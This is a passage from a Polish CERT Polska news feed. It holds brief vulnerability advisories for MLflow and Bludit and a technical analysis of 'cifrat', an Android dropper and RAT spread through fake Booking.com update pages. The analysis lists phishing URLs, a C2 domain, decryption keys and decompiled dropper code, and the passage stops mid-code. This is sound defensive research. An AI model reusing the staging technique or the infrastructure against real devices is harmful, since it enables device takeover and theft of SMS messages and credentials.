  margin: 0 0.3em 0.32em 0.3em;
}
.article ul div a em {
  white-space: nowrap;
}
.article .report-download {
  vertical-align: top;
  display: inline-block;
  text-align: center;
  margin: 5px 0 5px 20px;
  float: right;
}
.article .report-download img {
  width: 100%;
  max-width: 400px;
  margin: 0 0 10px 0;
}
.article .report-download .caption {
  display: block;
  font-weight: bold;
  font-size: 1.5em;
}
&lt;/style&gt;</content><category term="News"></category><category term="raport roczny"></category><category term="raport"></category></entry><entry><title>Podatności w oprogramowaniu Mlflow</title><link href="https://cert.pl/posts/2026/04/CVE-2026-33865/" rel="alternate"></link><published>2026-04-07T13:55:00+01:00</published><updated>2026-04-07T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-07:/posts/2026/04/CVE-2026-33865/</id><summary type="html">W oprogramowaniu Mlflow wykryto 2 podatności różnego typu (CVE-2026-33865, CVE-2026-33866)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Mlflow i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-33865"&gt;CVE-2026-33865&lt;/a&gt;: W oprogramowaniu MLflow występuje podatność typu Stored Cross-Site Scripting (XSS) spowodowana niezabezpieczonym parsowaniem artefaktów MLmodel (w postaci plików YAML) w swoim interfejsie internetowym. Uwierzytelniony użytkownik może przesłać złośliwy plik MLmodel zawierający osadzony kod, który uruchomi się w momencie, gdy inny użytkownik wyświetli ten artefakt w swoim interfejsie. W efekcie atakujący może m. in. przejąć sesję użytkownika lub wykonać operacje w jego imieniu.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-33866"&gt;CVE-2026-33866&lt;/a&gt;: W oprogramowaniu MLflow występuje podatność pozwalająca na ominęcie autoryzacji w endpointcie AJAX, który używany jest do pobierania zapisanych artefaktów modelu. Ze względu na brak walidacji kontroli dostępu, użytkownik bez uprawnień do danego eksperymentu może bezpośrednio odpytać ten endpoint i pobrać artefakty modelu, do których nie powinien mieć dostępu.&lt;/p&gt;
&lt;p&gt;Te problemy dotyczą MLflow w wersji do 3.10.1.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Sławomirowi Zakrzewskiemu (AFINE).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Bludit</title><link href="https://cert.pl/posts/2026/04/CVE-2026-4420/" rel="alternate"></link><published>2026-04-07T11:55:00+01:00</published><updated>2026-04-07T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-07:/posts/2026/04/CVE-2026-4420/</id><summary type="html">W oprogramowaniu Bludit wykryto podatność typu Stored Cross-site Scripting (CVE-2026-4420).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Bludit i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-4420"&gt;CVE-2026-4420&lt;/a&gt;: Bludit jest podatny na Stored Cross-Site Scripting (XSS) w funkcjonalności tworzenia stron. Uwierzytelniony atakujący z uprawnieniami do tworzenia stron (takimi jak Autor, Edytor lub Administrator) może wstrzyknąć złośliwy skrypt JavaScript do pola tagów nowo utworzonego artykułu. Ten skrypt zostanie wykonany, gdy ofiara odwiedzi URL przesłanego zasobu. Przesłany zasób jest dostępny bez uwierzytelnienia. W szczególnym przypadku, ta podatność może być wykorzystana do automatycznego utworzenia nowego administratora strony, jeśli ofiara posiada odpowiednie uprawnienia.&lt;/p&gt;
&lt;p&gt;Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Tylko wersje 3.17.2 i 3.18.0 zostały przetestowane i potwierdzone jako podatne, inne wersje nie były przetestowane i mogą również być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Yassinowi Abdelrazek.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Analiza cifrat: czy to ewolucja mobilnego RATa?</title><link href="https://cert.pl/posts/2026/04/analiza-cifrat/" rel="alternate"></link><published>2026-04-03T12:00:00+02:00</published><updated>2026-04-03T12:00:00+02:00</updated><author><name>Kacper Ratajczak</name></author><id>tag:cert.pl,2026-04-03:/posts/2026/04/analiza-cifrat/</id><summary type="html">CERT Polska przeanalizował wieloetapowy łańcuch złośliwego oprogramowania na Androida, dystrybuowany z wykorzystaniem infrastruktury podszywającej się pod Booking. Opisana próbka pełni rolę droppera, który instaluje RAT oparty na usługach ułatwień dostępu i komunikujący się z serwerem C2 przez WebSocket.</summary><content type="html">&lt;p&gt;Zespół CERT Polska przeanalizował próbkę złośliwego oprogramowania na Androida, dystrybuowaną z wykorzystaniem infrastruktury podszywającej się pod &lt;em&gt;Booking.com&lt;/em&gt;. Na potrzeby tej analizy nazwaliśmy ją &lt;code&gt;cifrat&lt;/code&gt; (nazwa od pakietu &lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt; oraz funkcjonalności RAT-a), ponieważ na moment opracowania materiału nie udało się jej wiarygodnie powiązać z żadną znaną rodziną malware.&lt;/p&gt;
&lt;p&gt;Analizowana próbka była dystrybuowana za pomocą wiadomości phishingowych prowadzących do fałszywej strony aktualizacji
aplikacji Booking Pulse i pobrania złośliwego pliku APK.
Widoczna dla ofiary aplikacja była jedynie początkiem całej ścieżki infekcji. Analiza statyczna i dynamiczna pokazały, że pobrany plik APK jest wieloetapowym dropperem, który rozpakowuje drugi plik APK, następnie ukryty końcowy moduł, a ostatecznie uruchamia RAT wykorzystujący usługi ułatwień dostępu i komunikujący się przez WebSocket.&lt;/p&gt;
&lt;h2&gt;Podstawowe informacje&lt;/h2&gt;
&lt;p&gt;Łańcuch infekcji rozpoczyna się od wiadomości phishingowej. Ofiara jest nakłaniana do kliknięcia odnośnika, który przekierowuje najpierw do:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://share.google/Yc9fcYQCgnKxNfRmH&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;a następnie do:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://booking.interaction.lat/starting/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Końcowa strona podszywa się pod komunikat bezpieczeństwa/aktualizacji &lt;em&gt;Booking.com&lt;/em&gt; i oferuje pobranie złośliwego pliku:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;com.pulsebookmanager.helper.apk&lt;/code&gt; - &lt;code&gt;d408588683b4e66bfe0b5bb557999844fe52d1bfbda6836a48e15290082a5d42&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pobrana aplikacja pełni rolę zewnętrznego droppera. Po instalacji ładuje bibliotekę natywną, odszyfrowuje kolejny osadzony plik APK podszywający się pod &lt;code&gt;Google Play Services&lt;/code&gt;, a ten drugi etap odszyfrowuje jeszcze jeden ukryty moduł. Finalnie odzyskany payload to pełnoprawny RAT z nadużyciem ułatwień dostępu, nakładkami phishingowymi, dostępem do SMS-ów, strumieniowaniem ekranu, obsługą kamery, zdalnymi gestami i tunelem SOCKS5.&lt;/p&gt;
&lt;h4&gt;Przebieg infekcji&lt;/h4&gt;
&lt;p&gt;Przebieg infekcji odtworzony z perspektywy ofiary wygląda następująco.&lt;/p&gt;
&lt;p&gt;Ofiara otrzymuje wiadomość phishingową. Wiadomość wykorzystuje socjotechnikę, aby skłonić odbiorcę do kliknięcia odnośnika osadzonego w jej treści.&lt;/p&gt;
&lt;div style="display: flex; gap: 10px; justify-content: center; align-items: flex-start;"&gt;
    &lt;img src="https://cert.pl/uploads/2026/04/email.jpeg" alt="email" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2026/04/fake_booking.png" alt="booking" style="width: 20%; height: auto;"/&gt;
&lt;/div&gt;

&lt;p&gt;Kliknięcie odnośnika przekierowuje ofiarę przez &lt;code&gt;share.google/Yc9fcYQCgnKxNfRmH&lt;/code&gt; do &lt;code&gt;booking.interaction.lat/starting/&lt;/code&gt;. Na tej stronie użytkownik widzi fałszywy komunikat &lt;em&gt;Booking.com&lt;/em&gt; o konieczności aktualizacji zabezpieczeń. Naciśnięcie przycisku &lt;code&gt;Aktualizuj teraz&lt;/code&gt; powoduje pobranie pliku &lt;code&gt;com.pulsebookmanager.helper.apk&lt;/code&gt;. Pobrana aplikacja podszywa się pod Booking Pulse:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/2026/04/pulse.png" alt="pulse" style="width: 30%; height: auto; display: block; margin: 0 auto;"/&gt;&lt;/p&gt;
&lt;p&gt;Po instalacji aplikacja nie ujawnia od razu docelowego szkodliwego działania. Zamiast tego działa jako powłoka dostarczająca kolejne etapy. Ładuje dekoder w obrębie natywnej biblioteki, odszyfrowuje osadzony drugi etap i instaluje go pod pakietem &lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt;, opisanym jako &lt;code&gt;Google Play Services&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ten drugi etap również nie jest finalnym payloadem. Jego klasa &lt;code&gt;Application&lt;/code&gt; wydobywa kolejny ukryty zasób o nazwie &lt;code&gt;FH.svg&lt;/code&gt;, odszyfrowuje go, traktuje wynik jako archiwum ZIP, ładuje z niego ukryte pliki dex i dopiero wtedy przekazuje wykonanie do właściwego modułu złośliwego oprogramowania.&lt;/p&gt;
&lt;p&gt;Na tym etapie malware staje się w pełni funkcjonalnym RAT-em. Odzyskany finalny wsad zawiera obsługę strumieniowania ekranu, keylogging, HTML injection, zbieranie SMS-ów, obsługę kamery, zdalne gesty, manipulację urządzeniem i dwukanałową komunikację WebSocket z serwerem C2 &lt;code&gt;otptrade.world&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Co przyniosła analiza próbki?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Pobrany pakiet APK to &lt;code&gt;com.pulsebookmanager.helper&lt;/code&gt;, z etykietą &lt;code&gt;Pulse&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Zewnętrzny APK zrzuca i ładuje bibliotekę natywną &lt;code&gt;l0a0cac5c.so&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ta biblioteka natywna dekoduje ukryte stringi i kontroluje dalszy przebieg instalacji.&lt;/li&gt;
&lt;li&gt;Zewnętrzny APK odszyfrowuje &lt;code&gt;res/raw/init_bundle_uzge.bin&lt;/code&gt; przy użyciu 32-bajtowego klucza XOR i instaluje wynik jako &lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Zainstalowany drugi etap jest opisany jako &lt;code&gt;Google Play Services&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Drugi etap wydobywa ukryty zasób &lt;code&gt;FH.svg&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FH.svg&lt;/code&gt; jest odszyfrowywany algorytmem podobnym do RC4 z kluczem &lt;code&gt;mLYQ&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Odszyfrowany blob zawiera finalne pliki dex.&lt;/li&gt;
&lt;li&gt;Końcowy moduł złośliwego oprogramowania komunikuje się z &lt;code&gt;otptrade.world&lt;/code&gt; przez rozdzielone kanały control/data oparte na WebSocket.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Jak się chronić?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Pobieraj aplikacje wyłącznie z oficjalnych sklepów, takich jak Google Play Store lub App Store.&lt;/li&gt;
&lt;li&gt;Traktuj każdą aktualizację aplikacji dostarczaną ze strony WWW jako podejrzaną, szczególnie jeśli wymaga ręcznej instalacji pliku APK.&lt;/li&gt;
&lt;li&gt;Jeśli po instalacji z nieznanego źródła aplikacja prosi o dostęp do usług ułatwień dostępu, nagrywania ekranu, nasłuchu powiadomień lub nakładek ekranowych, należy potraktować to jako krytyczny sygnał ostrzegawczy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Analiza techniczna&lt;/h2&gt;
&lt;p&gt;Każda aplikacja na Androida posiada plik &lt;code&gt;AndroidManifest.xml&lt;/code&gt;. W tej próbce już sam manifest pokazuje, że pobrany plik APK wykorzystujący wizerunek &lt;em&gt;Booking.com&lt;/em&gt; nie jest zwykłą samodzielną aplikacją. Jeszcze przed dekompilacją kodu manifest ujawnia konstrukcję typową dla stage installera: aplikacja prosi o uprawnienia do sideloadingu, jawnie oczekuje istnienia kolejnego pakietu, używa niestandardowej klasy &lt;code&gt;Application&lt;/code&gt; do wczesnego bootstrapu i monitoruje zdarzenia związane z instalacją pakietów.&lt;/p&gt;
&lt;h4&gt;Analiza AndroidManifest.xml&lt;/h4&gt;
&lt;p&gt;Pierwszym użytecznym wskaźnikiem jest manifest zewnętrznego APK. Nawet bez dekompilacji kodu Java widać w nim aplikację ukierunkowaną na instalację kolejnego pakietu i monitorowanie postępu tego procesu.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.REQUEST_INSTALL_PACKAGES&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.INTERNET&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;queries&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;intent&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.MAIN&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/intent&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;package&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/queries&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;application&lt;/span&gt; &lt;span class="na"&gt;android:allowBackup=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:dataExtractionRules=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@xml/data_extraction_rules&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:extractNativeLibs=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:fullBackupContent=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@xml/backup_rules&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:hardwareAccelerated=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:icon=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@mipmap/ic_launcher&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:label=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Pulse&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:largeHeap=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;v0a0cac5c.l0a0cac5c&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:networkSecurityConfig=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@xml/network_security_config&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:requestLegacyExternalStorage=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:roundIcon=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@mipmap/ic_launcher&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:supportsRtl=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:theme=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@style/AppTheme.NoActionBar&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt; &lt;span class="na"&gt;android:configChanges=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;keyboardHidden|orientation|screenSize&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:hardwareAccelerated=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:launchMode=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;singleTop&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.pulsebookmanager.helper.hasideq.vufez.BaseActionHandler6ut&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:theme=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@style/AppTheme.NoActionBar&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:windowSoftInputMode=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;adjustResize&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.MAIN&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.category.LAUNCHER&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/activity&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;receiver&lt;/span&gt; &lt;span class="na"&gt;android:directBootAware=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:enabled=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.pulsebookmanager.helper.hasideq.vufez.AppTaskLoaderdu2&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.pulsebookmanager.helper.RESULT_PPVALVLX&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.PACKAGE_ADDED&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.PACKAGE_REPLACED&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;data&lt;/span&gt; &lt;span class="na"&gt;android:scheme=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;package&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/receiver&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Już na tym etapie widać kilka istotnych rzeczy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;REQUEST_INSTALL_PACKAGES&lt;/code&gt; oznacza, że zewnętrzny APK ma instalować inną aplikację.&lt;/li&gt;
&lt;li&gt;Blok &lt;code&gt;&amp;lt;queries&amp;gt;&lt;/code&gt; jawnie wskazuje na &lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt;, który okazuje się pakietem drugiego etapu.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;v0a0cac5c.l0a0cac5c&lt;/code&gt; to niestandardowa klasa &lt;code&gt;Application&lt;/code&gt;, więc kod bootstrapujący uruchamia się przed logiką głównej aktywności.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AppTaskLoaderdu2&lt;/code&gt; jest zarejestrowany do obsługi zdarzeń związanych z instalacją pakietów, co jest typowe dla droppera, który chce śledzić i natychmiast uruchamiać zainstalowany payload.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dalej w manifeście widać również żądanie uprawnień &lt;code&gt;RECEIVE_BOOT_COMPLETED&lt;/code&gt;, &lt;code&gt;QUERY_ALL_PACKAGES&lt;/code&gt;, &lt;code&gt;MANAGE_EXTERNAL_STORAGE&lt;/code&gt;, &lt;code&gt;REQUEST_DELETE_PACKAGES&lt;/code&gt; i &lt;code&gt;PACKAGE_USAGE_STATS&lt;/code&gt;. Taki zestaw jest nieproporcjonalny do aplikacji powiązanej z &lt;em&gt;Booking.com&lt;/em&gt;, ale spójny z dropperem, który potrzebuje szerokiego wglądu w pakiety, kontroli nad instalacją oraz opcji persystencji po instalacji.&lt;/p&gt;
&lt;p&gt;Do tego dochodzą zaszyte zasoby tekstowe, które pokazują, że widoczna aplikacja pełni raczej rolę pośrednika instalacyjnego
niż normalnej aplikacji &lt;em&gt;Booking.com&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;app_name&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Pulse&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;s_bpetbn&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Please complete the installation to continue&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;s_rqkzlj&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Installation Permission Required&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;s_rtmrf&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Secure installation process&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;s_vptqsa&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Install Software&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;s_yxvof&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;%1$s Installed&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Już na poziomie manifestu i zasobów zewnętrzny APK wygląda więc jak powłoka instalacyjna.&lt;/p&gt;
&lt;h4&gt;Etap 0: aktywność startowa, lokalny WebView i interfejs JavaScript&lt;/h4&gt;
&lt;p&gt;Zewnętrzna aktywność startowa to &lt;code&gt;BaseActionHandler6ut&lt;/code&gt;. Jej zadaniem jest wyświetlenie ofierze fałszywego procesu
aktualizacji, ale implementacja pokazuje, że nie jest to zwykła statyczna strona HTML. Aktywność tworzy WebView, rejestruje interfejs wywołań z poziomu JavaScript i ładuje zdekodowany lokalny zasób:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;PemuhehControllerj5b&lt;/span&gt; &lt;span class="n"&gt;pemuhehControllerj5b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;PemuhehControllerj5b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;WebView&lt;/span&gt; &lt;span class="n"&gt;webView5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;webView5&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;webView5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;webView5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addJavascriptInterface&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pemuhehControllerj5b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Qv371914071D2418&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;WebView&lt;/span&gt; &lt;span class="n"&gt;webView6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
